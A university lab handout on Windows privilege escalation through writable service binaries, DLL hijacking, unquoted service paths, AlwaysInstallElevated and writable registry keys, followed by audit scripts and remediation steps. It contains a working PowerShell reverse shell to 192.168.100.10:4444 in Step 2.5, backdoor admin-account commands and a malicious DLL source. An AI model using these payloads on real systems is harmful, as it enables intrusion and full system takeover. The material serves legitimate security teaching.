Lab 4.1: Privilege Escalation via Misconfigured Permissions

Learning Objectives

By the end of this lab, you will be able to:

• Identify dangerous permissions on Windows files and folders
• Exploit system files with overly permissive permissions
• Understand and exploit misconfigured Windows services
• Perform privilege escalation from user to SYSTEM
• Apply the principle of least privilege for defense
• Audit a system for permission misconfiguration errors

Estimated Duration

35 minutes

Prerequisites

• Windows 10/11 VM with standard user account
• Administrator account available for initial setup
• Understanding of NTFS permissions (theoretical course)
• Previous module labs completed

Professional Context

Privilege escalation is a critical step in most attacks. After gaining initial access (standard user), the attacker seeks to obtain administrator or SYSTEM privileges to:

• Install permanent backdoors
• Disable antivirus and firewalls
• Access all system data
• Compromise other network machines
• Maintain long-term access

Misconfigured permissions are a major cause of privilege escalation in enterprises. This lab teaches you to identify and exploit them in a controlled environment, then to correct them.

Professional use cases:

• Internal penetration testing
• Workstation security audit
• Compliance validation (CIS Benchmarks)
• Attack surface analysis

---

ETHICAL AND LEGAL WARNING

The privilege escalation techniques taught in this lab allow for total control of a Windows system. These techniques are used by attackers to compromise systems.

AUTHORIZED ONLY:

• On your personal test VM
• On systems you own or are an authorized administrator
• As part of penetration testing with a signed contract
• For security evaluation with written authorization

STRICTLY PROHIBITED:

• On enterprise systems without formal authorization
• On computers you do not own
• To gain unauthorized access
• To bypass security measures without permission

LEGAL CONSEQUENCES: Unauthorized privilege escalation = Illegal access to a computer system (Canadian Criminal Code, Section 342.1). Penalties: massive fines and imprisonment.

---

Part 1: Understanding Windows Permissions

Step 1.1: Windows Security Model

Privilege Levels:

1. Standard User

   • Can modify their own files
   • Can run most programs
   • CANNOT install system software
   • CANNOT modify system files
   • CANNOT access other users' files

2. Administrator

   • Can install software
   • Can modify system configuration
   • Can create/delete users
   • Can modify permissions
   • Limited by UAC on certain actions

3. SYSTEM

   • Windows system account
   • MAXIMUM privileges
   • More powerful than administrator
   • No UAC restrictions
   • Total system control

Objective of this lab: Move from Standard User to SYSTEM

Step 1.2: ICacls Command - Permission Audit

The icacls command allows you to view and modify NTFS permissions.

Basic Syntax:

icacls "C:\path\to\file"

Reading permissions:

F  = Full control
M  = Modify
RX = Read & Execute
R  = Read
W  = Write

Example output:

C:\Windows\System32\calc.exe NT AUTHORITY\SYSTEM:(I)(F)
                            BUILTIN\Administrators:(I)(F)
                            BUILTIN\Users:(I)(RX)

Questions:

1. What is the privilege level of your current account? (Run whoami /groups)
2. Can you modify a file in C:\Windows\System32 as a standard user?

Step 1.3: Finding Files with Incorrect Permissions

Search command:

icacls "C:\Program Files\*" /T 2>nul | findstr "Everyone:(F) Users:(F) %USERNAME%:(F)"

Explanation:

• Scans all files in Program Files
• /T = Recursive
• 2>nul = Ignores errors
• Searches for Full Control permissions for Everyone, Users, or you

Alternative PowerShell (more powerful):

Get-ChildItem "C:\Program Files" -Recurse -ErrorAction SilentlyContinue | 
  ForEach-Object {
    $acl = Get-Acl $_.FullName
    $writeAccess = $acl.Access | Where-Object {
      ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
      ($_.FileSystemRights -match "FullControl|Modify|Write")
    }
    if ($writeAccess) {
      [PSCustomObject]@{
        Path = $_.FullName
        Identity = $writeAccess.IdentityReference
        Rights = $writeAccess.FileSystemRights
      }
    }
  }

Questions: 3. Did you find any files with overly permissive permissions? 4. Why are these permissions dangerous?

---

Part 2: Exploiting Service with Writable Binary

Step 2.1: Attack Concept

Principle:

1. A Windows service runs as SYSTEM
2. The service's binary (.exe file) has incorrect permissions
3. Standard user can MODIFY the binary
4. Replace with reverse shell or backdoor
5. Restart the service
6. Malicious code runs as SYSTEM

Result: Escalation from User to SYSTEM in 2 steps!

Step 2.2: Create a Vulnerable Service (Setup)

NOTE: This step is done by the administrator to create the vulnerable environment.

On your VM, as an administrator:

Create a simple service VulnService.exe:

@echo off
REM Simple service that does nothing
:loop
timeout /t 10 /nobreak > nul
goto loop

Save as VulnService.bat, then create a wrapper:

echo @echo off > C:\Services\VulnService.bat
echo :loop >> C:\Services\VulnService.bat
echo timeout /t 10 /nobreak ^> nul >> C:\Services\VulnService.bat
echo goto loop >> C:\Services\VulnService.bat

Create the service:

sc create VulnService binPath= "C:\Services\VulnService.bat" start= auto
sc description VulnService "Test service for security lab"

Give WRITE permissions to Users (DELIBERATELY vulnerable!):

icacls "C:\Services\VulnService.bat" /grant Users:F

Verify:

icacls "C:\Services\VulnService.bat"

Should display: BUILTIN\Users:(F)

Step 2.3: Enumerating Services (As User)

Now, log in as a STANDARD user.

List all services:

sc query type= service state= all

Find services running as SYSTEM:

Get-WmiObject win32_service | 
  Where-Object {$_.StartMode -ne "Disabled"} | 
  Select-Object Name, DisplayName, PathName, StartName, State | 
  Format-Table -AutoSize

Look specifically for:

• StartName = LocalSystem (SYSTEM)
• Custom services (not Microsoft)

Identify VulnService:

sc qc VulnService

Note the path: C:\Services\VulnService.bat

Questions: 5. How many services run as SYSTEM? 6. What is the binary path of VulnService?

Step 2.4: Checking Binary Permissions

Check if you can modify the file:

icacls "C:\Services\VulnService.bat"

If you see:

BUILTIN\Users:(F)

VULNERABILITY FOUND! You can modify this file!

Test modification:

echo REM Test modification >> C:\Services\VulnService.bat

If no error: You CAN modify! Exploitation possible!

Questions: 7. Can you modify the service's binary as a user? 8. What account runs this service?

Step 2.5: Exploitation - Replace with Reverse Shell

Create your payload (simple reverse shell):

Save payload.bat:

@echo off
REM Reverse shell to 192.168.100.10:4444
powershell -WindowStyle Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

OR simple version that creates an admin account:

@echo off
net user hacker Password123! /add
net localgroup Administrateurs hacker /add

Replace the service:

copy C:\Services\VulnService.bat C:\Services\VulnService.bat.bak
copy payload.bat C:\Services\VulnService.bat

Restart the service:

sc stop VulnService
sc start VulnService

BOOM! The service runs as SYSTEM with YOUR code!

If reverse shell: Your listener receives connection as SYSTEM
If account creation: New admin account created!

Verification:

net user

You should see the "hacker" account!

net localgroup Administrateurs

The "hacker" account is in the Administrators group!

Questions: 9. Did the exploitation succeed? 10. How long did the complete escalation take (from discovery to exploitation)?

---

Part 3: DLL Hijacking Exploitation

Step 3.1: Understanding DLL Hijacking

Principle:

When a Windows program starts:

1. Searches for necessary DLLs
2. Predefined search order (DLL Search Order)
3. If DLL found in PATH before the real location: Loaded!

Typical search order:

1. Application folder
2. System32
3. Windows
4. Current folder
5. Folders in PATH

Exploitation:

• Place a malicious DLL in a folder searched first
• Application loads OUR DLL instead of the legitimate one
• Malicious code executed with the application's privileges

Step 3.2: Identifying Vulnerable Applications

Tool: Process Monitor (Sysinternals)

Download: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Configuration:

1. Launch Process Monitor as admin
2. Filters:
   • Operation: CreateFile
   • Path: ends with .dll
   • Result: NAME NOT FOUND

Launch an application and observe:

You will see all the DLLs the application searches for but does not find!

Example output:

explorer.exe  CreateFile  C:\Windows\version.dll  NAME NOT FOUND
explorer.exe  CreateFile  C:\Program Files\...\missing.dll  NAME NOT FOUND

If one of these paths is writable by Users: EXPLOITATION POSSIBLE!

Step 3.3: Creating a Malicious DLL (Demonstration)

NOTE: Creating a DLL requires compilation. For this lab, we will use a test DLL.

Concept of a malicious DLL:

// payload.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Malicious code executed on load
        WinExec("cmd.exe /c net user hacker Pass123! /add", SW_HIDE);
        WinExec("cmd.exe /c net localgroup Administrators hacker /add", SW_HIDE);
    }
    return TRUE;
}

Compilation:

x86_64-w64-mingw32-gcc payload.c -shared -o version.dll

Placement:

copy version.dll "C:\Writable\Path\version.dll"

Restart the application:

The application loads the fake DLL and executes the malicious code!

Questions: 11. Which applications searched for DLLs not found? 12. Which paths are writable by your user?

Step 3.4: Exploiting PATH Variable

Check your PATH:

echo %PATH%

Search for folders with write access:

$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        $writeAccess = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*$env:USERNAME*") -and
            ($_.FileSystemRights -match "Write|Modify|FullControl")
        }
        if ($writeAccess) {
            Write-Host "VULNERABLE: $_" -ForegroundColor Red
            Write-Host "  Permissions: $($writeAccess.FileSystemRights)"
        }
    }
}

If a folder in PATH is writable:

1. Application searches for a DLL
2. Malicious DLL placed in writable PATH
3. Windows finds and loads it
4. Malicious code executed!

Demonstration:

REM If C:\Tools is in PATH and writable
copy malicious.dll C:\Tools\commonlib.dll

Next application that searches for commonlib.dll will load yours!

---

Part 4: Exploiting Writable System Files

Step 4.1: Searching for System Files with Incorrect Permissions

PowerShell Enumeration Script:

Write-Host "=== PERMISSION AUDIT - SYSTEM FILES ===" -ForegroundColor Cyan

$systemPaths = @(
    "C:\Windows\System32",
    "C:\Windows\SysWOW64",
    "C:\Program Files",
    "C:\Program Files (x86)"
)

$vulnerableFiles = @()

foreach ($path in $systemPaths) {
    if (Test-Path $path) {
        Write-Host "`nScanning: $path" -ForegroundColor Yellow
        
        Get-ChildItem -Path $path -File -ErrorAction SilentlyContinue | ForEach-Object {
            try {
                $acl = Get-Acl $_.FullName -ErrorAction Stop
                $dangerousPerms = $acl.Access | Where-Object {
                    ($_.IdentityReference -like "*Users*" -or 
                     $_.IdentityReference -like "*Everyone*" -or 
                     $_.IdentityReference -like "*Authenticated Users*") -and
                    ($_.FileSystemRights -match "Write|Modify|FullControl") -and
                    ($_.AccessControlType -eq "Allow")
                }
                
                if ($dangerousPerms) {
                    $vulnerableFiles += [PSCustomObject]@{
                        File = $_.FullName
                        Identity = $dangerousPerms.IdentityReference -join ", "
                        Rights = $dangerousPerms.FileSystemRights -join ", "
                    }
                }
            } catch {}
        }
    }
}

if ($vulnerableFiles.Count -gt 0) {
    Write-Host "`n=== VULNERABLE FILES FOUND ===" -ForegroundColor Red
    $vulnerableFiles | Format-Table -AutoSize
} else {
    Write-Host "`nNo permission vulnerabilities found." -ForegroundColor Green
}

Save as permission_audit.ps1 and run:

powershell -ExecutionPolicy Bypass -File permission_audit.ps1

Expected result:

If system well-configured: No vulnerabilities
If misconfigured: List of exploitable files

Step 4.2: Scenario - Exploiting Writable Binary

If you find a writable system file:

Example: C:\Program Files\SomeApp\app.exe with permissions Users:(M)

Exploitation:

1. Backup the original:

copy "C:\Program Files\SomeApp\app.exe" "C:\Program Files\SomeApp\app.exe.bak"

2. Replace with payload:

copy evil_payload.exe "C:\Program Files\SomeApp\app.exe"

3. Wait or force execution:

   • If service: sc start ServiceName
   • If application: User launches it
   • If scheduled task: Wait for the time

4. Payload executes with application's privileges!

Questions: 13. What types of system files could you exploit? 14. How should an administrator configure permissions?

---

Part 5: Unquoted Service Paths

Step 5.1: Understanding the Vulnerability

Problem: Service with path containing spaces AND not quoted

Example of vulnerable service:

binPath= C:\Program Files\My Service\service.exe

Windows will search in this order:

1. C:\Program.exe
2. C:\Program Files\My.exe
3. C:\Program Files\My Service\service.exe

If you can write in C:\ or C:\Program Files\:

• Place Program.exe or My.exe
• Windows will execute it first!
• With service's privileges (often SYSTEM)

Step 5.2: Searching for Vulnerable Services

PowerShell:

Get-WmiObject win32_service | 
  Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and 
    $_.StartName -like '*System*'
  } | 
  Select-Object Name, PathName, StartName, State | 
  Format-List

CMD:

wmic service get name,pathname,startname | findstr /i /v "C:\Windows" | findstr /i /v """

Typical result:

Name: VulnerableService
PathName: C:\Program Files\Vulnerable App\service.exe
StartName: LocalSystem

WATCH for spaces and lack of quotes!

Step 5.3: Exploitation

If you find:

PathName: C:\Program Files\My Service\app.exe

And C:\Program Files\ is writable (rare but possible):

Create My.exe (payload):

copy payload.exe "C:\Program Files\My.exe"

Restart the service:

sc stop VulnerableService
sc start VulnerableService

Windows executes C:\Program Files\My.exe instead of My Service\app.exe!

Questions: 15. Did you find any services with unquoted paths? 16. Why does this vulnerability exist?

---

Part 6: Folder Permissions and AlwaysInstallElevated

Step 6.1: AlwaysInstallElevated

Dangerous registry policy:

If these two keys exist and are set to 1:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

Result: All .msi files install with SYSTEM privileges!

Verification:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1: Vulnerability present!

Exploitation:

1. Create a malicious .msi (with msfvenom or WiX Toolset)
2. Execute: msiexec /quiet /qn /i malicious.msi
3. Installation with SYSTEM privileges!
4. Payload executed as SYSTEM!

PowerShell - Automatic check:

function Test-AlwaysInstallElevated {
    $hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    $hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    
    if ($hklm -eq 1 -and $hkcu -eq 1) {
        Write-Host "VULNERABLE: AlwaysInstallElevated enabled!" -ForegroundColor Red
        return $true
    } else {
        Write-Host "Not vulnerable" -ForegroundColor Green
        return $false
    }
}

Test-AlwaysInstallElevated

Step 6.2: Writable Registry

Some registry keys control services:

Search for service keys with write permissions:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    try {
        $acl = Get-Acl "Registry::$($_.Name)" -ErrorAction Stop
        $writeAccess = $acl.Access | Where-Object {
            $_.IdentityReference -like "*Users*" -and
            $_.RegistryRights -match "WriteKey|FullControl"
        }
        if ($writeAccess) {
            Write-Host "Vulnerable: $($_.PSChildName)"
            Write-Host "  Rights: $($writeAccess.RegistryRights)"
        }
    } catch {}
}

If a service key is writable:

Modify ImagePath (binary path):

reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\payload.exe" /f

Restart service: Payload executed as SYSTEM!

Questions: 17. Are any service registry keys writable by Users? 18. Why is allowing Users to modify the system registry dangerous?

---

Part 7: Detection and Defense

Step 7.1: Complete Audit Script

Create escalation_audit.ps1:

Write-Host "=== PRIVILEGE ESCALATION AUDIT ===" -ForegroundColor Cyan
Write-Host ""

# 1. Services with writable binaries
Write-Host "[1] Services with modifiable binaries" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {$_.PathName -and $_.StartName -like '*System*'} | ForEach-Object {
    $path = $_.PathName -replace '"','' -replace ' .*',''
    if (Test-Path $path) {
        try {
            $acl = Get-Acl $path -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERABLE: $($_.Name)" -ForegroundColor Red
                Write-Host "    Path: $path"
                Write-Host "    Runs as: $($_.StartName)"
            }
        } catch {}
    }
}

# 2. Unquoted service paths
Write-Host "`n[2] Unquoted Service Paths" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and
    $_.StartName -like '*System*'
} | ForEach-Object {
    Write-Host "  VULNERABLE: $($_.Name)" -ForegroundColor Red
    Write-Host "    Path: $($_.PathName)"
}

# 3. AlwaysInstallElevated
Write-Host "`n[3] AlwaysInstallElevated" -ForegroundColor Yellow
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
    Write-Host "  VULNERABLE: AlwaysInstallElevated enabled" -ForegroundColor Red
} else {
    Write-Host "  Not vulnerable" -ForegroundColor Green
}

# 4. Writable PATH folders
Write-Host "`n[4] Writable PATH folders" -ForegroundColor Yellow
$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        try {
            $acl = Get-Acl $_ -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERABLE: $_" -ForegroundColor Red
            }
        } catch {}
    }
}

Write-Host "`n=== AUDIT COMPLETE ===" -ForegroundColor Cyan

Run:

powershell -ExecutionPolicy Bypass -File escalation_audit.ps1

Complete report of all escalation vulnerabilities!

Step 7.2: Correcting Permissions

To correct an incorrect permission:

Remove write access for Users:

icacls "C:\Services\VulnService.bat" /remove Users

Grant only Read & Execute:

icacls "C:\Services\VulnService.bat" /grant Users:RX

Grant Full Control only to SYSTEM and Admins:

icacls "C:\Services\VulnService.bat" /grant SYSTEM:F
icacls "C:\Services\VulnService.bat" /grant Administrators:F

Verify:

icacls "C:\Services\VulnService.bat"

Should show:

NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(RX)

Principle of least privilege applied!

Step 7.3: Best Practices

To avoid these vulnerabilities:

1. Services:

   • Always use quotes in binPath
   • Restrictive permissions on binaries (RX for Users max)
   • Run services with dedicated accounts (not SYSTEM if possible)
   • Regularly audit

2. System files:

   • Never Full Control for Users
   • Modification reserved for SYSTEM and Admins
   • Automated weekly audit

3. PATH:

   • No writable folders by Users in system PATH
   • Personal folders only in user PATH

4. Registry:

   • Strict permissions on HKLM\SYSTEM
   • Monitoring of modifications
   • Alerts on service changes

5. AlwaysInstallElevated:

   • NEVER enable this policy
   • Regularly check it is disabled

Questions: 19. What is the most secure permission for a service binary? 20. How would you automate permission auditing?

---

Deliverables

To submit:

1. Exploitation Report (Word/PDF, 4-5 pages):

   • Answers to the 20 questions
   • Escalation methodology used
   • Measured time for each step
   • Screenshots of successful exploits

2. Screenshots (minimum 6):

   • Initial standard user account (whoami)
   • Discovery of vulnerable service (icacls)
   • Modification of service binary
   • SYSTEM account obtained or admin created
   • Result of permission_audit.ps1 script
   • Corrected permissions

3. Audit Script (PowerShell):

   • Improved version of permission_audit.ps1
   • Export results to CSV
   • Generated HTML report

4. Remediation Plan (2 pages):

   • List of vulnerabilities found
   • Prioritization by risk
   • Recommended corrective actions
   • Implementation timeline

---

Evaluation Criteria

Criterion	Points
Identification of permission vulnerabilities	25%
Successful exploitation (privilege escalation)	30%
Understanding of attack vectors	20%
Functional audit script	15%
Realistic remediation plan	10%

---

Quick Reference Commands

Enumeration

whoami /all
icacls "file.exe"
sc query type= service state= all
wmic service get name,pathname,startname
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

PowerShell

Get-Acl "file" | Format-List
Get-WmiObject win32_service
Get-ChildItem -Recurse | Get-Acl

Exploitation

copy payload.exe "vulnerable_path.exe"
sc stop ServiceName
sc start ServiceName
net user hacker Pass123! /add
net localgroup Administrators hacker /add

Correction

icacls "file" /remove Users
icacls "file" /grant Users:RX
icacls "file" /grant SYSTEM:F

---

Troubleshooting

Problem: "Access denied" when modifying file

Solution: This is normal if the permissions are correct! Look for other files or create a vulnerable service for the lab.

Problem: No vulnerable service found

Solution: Deliberately create one (Step 2.2) to practice exploitation.

Problem: Service does not restart

Solution:

• Verify the service exists: sc query ServiceName
• Check permissions: admin rights may be required
• Check logs: eventvwr.msc → Windows Logs → System

---

Going Further (Optional)

Challenge 1: Automated Exploitation

Create a script that:

• Automatically scans all services
• Identifies those with writable binaries
• Generates appropriate payloads
• Lists all possible escalation paths

Challenge 2: PowerUp

Use the PowerUp tool (PowerShell Empire):

Import-Module .\PowerUp.ps1
Invoke-AllChecks

Compare with your audit script.

Challenge 3: Privilege Escalation Database

Research and document:

• Windows Exploit Suggester
• JAWS (Just Another Windows enum Script)
• WinPEAS
• Sherlock

Test them on your VM and compare results.

---

Additional Resources

• Microsoft: Access Control Lists
• ICacls Documentation
• Windows Privilege Escalation Guide
• PowerUp Tool

---

Conclusion

This lab taught you to:

• Identify Windows permission vulnerabilities
• Exploit misconfigured services for privilege escalation
• Understand attack vectors: writable binaries, DLL hijacking, unquoted paths
• Conduct a complete permission audit
• Apply the principle of least privilege

Key lessons:

1. Incorrect permissions are a major cause of privilege escalation
2. Services running as SYSTEM with modifiable binaries = critical vulnerability
3. Regular permission audits are essential
4. The principle of least privilege must be systematically applied
5. Automating audits allows for rapid problem detection

In a real environment:

• These vulnerabilities are common, especially in third-party applications
• Exploitation can take less than 5 minutes
• Detection is difficult without proper monitoring
• Critical impact: total system control

Next step: Lab 4.2 where you will learn to hide malicious files using NTFS Alternate Data Streams!

---

Lab developed as part of the Operating Systems course - MODULE 4